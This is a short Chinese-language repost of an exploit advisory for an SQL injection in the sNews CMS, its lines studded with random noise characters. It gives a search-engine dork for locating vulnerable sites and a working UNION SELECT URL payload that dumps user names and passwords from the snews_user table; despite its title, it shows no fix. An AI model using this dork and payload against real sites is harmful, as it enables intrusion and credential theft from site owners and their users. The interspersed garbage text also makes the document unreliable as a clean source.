CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
/ V9 L- g1 o# ]0 R% A作者: By onestree
4 j- i1 q' w" G  O( r* L6 W下载地址 : http://snewscms.com/
+ j  {5 E. [" C+ @* F7 a5 N% e# X测试平台 : ubuntu 12.10 / win 7
9 ]. D4 a. g$ k4 v关键词: inurl:"tanyakan pada rumput yang bergoyang"

) I8 w" b: F& u6 U; g1 ]
8 q9 M1 V+ O0 e( f; Y6 ~- }3 j*************************************************************

% a& L2 R/ Z: [; k: `SQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
! g% K" c! u1 _1 i+ l
2 |! C- K, P" B2 p示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
' F+ C1 L5 h+ D
" B( j6 S4 P/ Q* ~- M; q7 y) `" e& i
) R, ~! P9 H' n, o致谢:

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder
; u+ r0 L/ {* S( k/ ?% y
2 [/ t5 G! n1 G* xspesial my hunny :*
) ~  L2 J" W, U9 U6 q: ~6 _0 w: H# `